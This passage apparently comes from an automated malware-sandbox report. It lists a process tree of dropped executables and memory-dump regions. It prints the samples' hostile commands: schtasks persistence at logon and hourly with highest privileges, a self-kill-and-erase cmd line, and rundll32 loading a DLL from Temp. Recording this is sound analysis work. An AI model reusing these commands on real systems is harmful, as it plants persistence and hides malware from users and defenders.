                                                                                                                                                                                                                                                                                    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                    PID:5308
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                    PID:1180
                                                                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\mixBTYOchmkAaPFMoK9XsHa7.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\mixBTYOchmkAaPFMoK9XsHa7.exe"
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:644
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "mixBTYOchmkAaPFMoK9XsHa7.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\mixBTYOchmkAaPFMoK9XsHa7.exe" & exit
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:6164
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                          taskkill /im "mixBTYOchmkAaPFMoK9XsHa7.exe" /f
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                                          PID:3376
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\mWh1dMQ3Z6Mwaqh4IgGDyapX.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\mWh1dMQ3Z6Mwaqh4IgGDyapX.exe"
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:2836
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\ezTJRYlWwmMisCV8ra3scTsA.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\ezTJRYlWwmMisCV8ra3scTsA.exe"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:4204
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\ezTJRYlWwmMisCV8ra3scTsA.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\ezTJRYlWwmMisCV8ra3scTsA.exe"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:3056
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\WBIESrF4TAjrxQGOcWFlKq4s.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\WBIESrF4TAjrxQGOcWFlKq4s.exe"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:4352
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1693c6e21a84f1.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1693c6e21a84f1.exe
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:3744
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1607c6ec89.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1607c6ec89.exe
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:704
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1647cedf7bf133.exe
                                                                                                                                                                                                                                                                                                Tue1647cedf7bf133.exe
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                PID:2272
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                PID:4752
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:4772
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                    PID:5096
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\SysWOW64\explorer.exe"
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:5200
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        /c del "C:\Users\Admin\Pictures\Adobe Films\mWh1dMQ3Z6Mwaqh4IgGDyapX.exe"
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:5756
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\F515.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\F515.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:7388
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:4984

                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                                                          • memory/348-389-0x0000013EA4140000-0x0000013EA41B2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/420-269-0x0000000002F10000-0x0000000002FBE000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            696KB

                                                                                                                                                                                                                                                                                                          • memory/420-287-0x0000000000400000-0x0000000002F09000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            43.0MB

                                                                                                                                                                                                                                                                                                          • memory/644-493-0x00000000005B0000-0x00000000006FA000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                                                                                                          • memory/644-496-0x0000000000400000-0x000000000046B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            428KB

                                                                                                                                                                                                                                                                                                          • memory/644-482-0x00000000005B0000-0x00000000006FA000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                                                                                                          • memory/704-301-0x00000000051B0000-0x00000000057B6000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            6.0MB

                                                                                                                                                                                                                                                                                                          • memory/704-254-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            136KB

                                                                                                                                                                                                                                                                                                          • memory/980-203-0x00000000002D0000-0x00000000002D1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/980-201-0x00000000002D0000-0x00000000002D1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1028-423-0x0000018CDF260000-0x0000018CDF2D2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/1092-420-0x0000021F92140000-0x0000021F921B2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/1232-242-0x0000000004FF0000-0x0000000004FF1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1232-245-0x0000000005510000-0x0000000005511000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1232-218-0x00000000006B0000-0x00000000006B1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1236-453-0x0000020C82240000-0x0000020C822B2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/1256-455-0x0000017141900000-0x0000017141972000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/1396-428-0x00000211EB9B0000-0x00000211EBA22000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/1412-231-0x00000000052D0000-0x00000000052D1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1412-219-0x0000000000AA0000-0x0000000000AA1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1412-239-0x0000000005250000-0x00000000052C6000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            472KB

                                                                                                                                                                                                                                                                                                          • memory/1412-240-0x0000000005290000-0x0000000005291000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1488-338-0x00000000057D0000-0x000000000591C000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                                                                                                          • memory/1684-248-0x0000000007D60000-0x0000000007D61000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-249-0x0000000008040000-0x0000000008041000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-303-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-244-0x0000000007CC0000-0x0000000007CC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-263-0x0000000008970000-0x0000000008971000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-439-0x0000000004FA3000-0x0000000004FA4000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-394-0x000000007EA10000-0x000000007EA11000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-230-0x0000000004FA2000-0x0000000004FA3000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-247-0x0000000007F40000-0x0000000007F41000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-229-0x0000000007660000-0x0000000007661000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-212-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-225-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-224-0x0000000004F60000-0x0000000004F61000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-211-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1684-255-0x0000000007FB0000-0x0000000007FB1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1728-233-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1728-243-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1728-217-0x0000000000260000-0x0000000000261000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/1848-315-0x00000000054C0000-0x000000000560C000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                                                                                                          • memory/1880-445-0x00000188D25B0000-0x00000188D2622000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/1976-228-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            80KB

                                                                                                                                                                                                                                                                                                          • memory/2272-213-0x0000000000E10000-0x0000000000E12000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                                          • memory/2272-198-0x00000000008D0000-0x00000000008D1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/2372-418-0x000001D681C40000-0x000001D681CB2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/2380-391-0x000001AF4DB60000-0x000001AF4DBD2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/2580-357-0x0000022DFA370000-0x0000022DFA3E2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/2692-469-0x000001EA15F10000-0x000001EA15F82000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/2708-467-0x00000235CD7A0000-0x00000235CD812000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/2836-465-0x0000000001540000-0x0000000001860000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            3.1MB

                                                                                                                                                                                                                                                                                                          • memory/2836-471-0x0000000001860000-0x0000000001871000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            68KB

                                                                                                                                                                                                                                                                                                          • memory/2840-314-0x000001608CCA0000-0x000001608CE01000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.4MB

                                                                                                                                                                                                                                                                                                          • memory/2840-313-0x000001608CE40000-0x000001608CF9B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.4MB

                                                                                                                                                                                                                                                                                                          • memory/2960-473-0x0000000006AF0000-0x0000000006C52000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.4MB

                                                                                                                                                                                                                                                                                                          • memory/2960-349-0x0000000001330000-0x0000000001346000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            88KB

                                                                                                                                                                                                                                                                                                          • memory/3144-215-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            80KB

                                                                                                                                                                                                                                                                                                          • memory/3308-343-0x0000017F148D0000-0x0000017F14942000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/3308-334-0x0000017F14810000-0x0000017F1485D000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            308KB

                                                                                                                                                                                                                                                                                                          • memory/3392-252-0x0000000000400000-0x00000000016FB000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            19.0MB

                                                                                                                                                                                                                                                                                                          • memory/3392-251-0x0000000003300000-0x000000000338E000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            568KB

                                                                                                                                                                                                                                                                                                          • memory/3744-289-0x0000000005110000-0x0000000005111000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/3744-278-0x00000000051E0000-0x00000000051E1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/3744-274-0x00000000050B0000-0x00000000050B1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/3744-300-0x0000000005000000-0x0000000005606000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            6.0MB

                                                                                                                                                                                                                                                                                                          • memory/3744-253-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            136KB

                                                                                                                                                                                                                                                                                                          • memory/3744-267-0x0000000005610000-0x0000000005611000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/3884-286-0x0000000000400000-0x0000000002F29000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            43.2MB

                                                                                                                                                                                                                                                                                                          • memory/3884-266-0x0000000002FF0000-0x000000000313A000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                                                                                                          • memory/3884-195-0x0000000003169000-0x0000000003192000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            164KB

                                                                                                                                                                                                                                                                                                          • memory/3920-238-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/3944-140-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            152KB

                                                                                                                                                                                                                                                                                                          • memory/3944-134-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            572KB

                                                                                                                                                                                                                                                                                                          • memory/3944-133-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            572KB

                                                                                                                                                                                                                                                                                                          • memory/3944-137-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.5MB

                                                                                                                                                                                                                                                                                                          • memory/3944-136-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.5MB

                                                                                                                                                                                                                                                                                                          • memory/3944-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.5MB

                                                                                                                                                                                                                                                                                                          • memory/3944-145-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            100KB

                                                                                                                                                                                                                                                                                                          • memory/3944-143-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            100KB

                                                                                                                                                                                                                                                                                                          • memory/3944-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.5MB

                                                                                                                                                                                                                                                                                                          • memory/3944-141-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            100KB

                                                                                                                                                                                                                                                                                                          • memory/3944-135-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            572KB

                                                                                                                                                                                                                                                                                                          • memory/3944-144-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            100KB

                                                                                                                                                                                                                                                                                                          • memory/4136-273-0x0000000002530000-0x0000000002531000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/4136-272-0x0000000002530000-0x0000000002531000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/4204-500-0x0000000002190000-0x0000000002213000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            524KB

                                                                                                                                                                                                                                                                                                          • memory/4204-498-0x0000000002110000-0x0000000002187000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            476KB

                                                                                                                                                                                                                                                                                                          • memory/4396-295-0x00000000007B0000-0x00000000007B1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/4396-297-0x0000000004F70000-0x0000000004F71000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/4396-305-0x0000000005060000-0x0000000005061000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/4396-312-0x0000000005050000-0x0000000005051000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/4396-302-0x0000000004F80000-0x0000000004FC4000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            272KB

                                                                                                                                                                                                                                                                                                          • memory/4412-442-0x0000000004A40000-0x0000000004A41000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/4616-326-0x0000000077C10000-0x0000000077D9E000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.6MB

                                                                                                                                                                                                                                                                                                          • memory/4616-353-0x0000000003A10000-0x0000000003A11000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/4704-367-0x0000000077C10000-0x0000000077D9E000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.6MB

                                                                                                                                                                                                                                                                                                          • memory/4704-401-0x0000000005570000-0x0000000005571000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/4772-330-0x0000000004670000-0x00000000046CD000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            372KB

                                                                                                                                                                                                                                                                                                          • memory/4772-362-0x00000000046EE000-0x00000000047EF000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1.0MB

                                                                                                                                                                                                                                                                                                          • memory/4864-484-0x0000000000570000-0x000000000061E000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            696KB

                                                                                                                                                                                                                                                                                                          • memory/4864-490-0x0000000000400000-0x00000000004D9000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            868KB

                                                                                                                                                                                                                                                                                                          • memory/4864-486-0x00000000021A0000-0x0000000002276000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            856KB

                                                                                                                                                                                                                                                                                                          • memory/4968-397-0x0000000005940000-0x0000000005941000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                                          • memory/5096-372-0x00000249C0A60000-0x00000249C0AD2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                                                                                          • memory/5352-488-0x0000000002650000-0x00000000026B0000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            384KB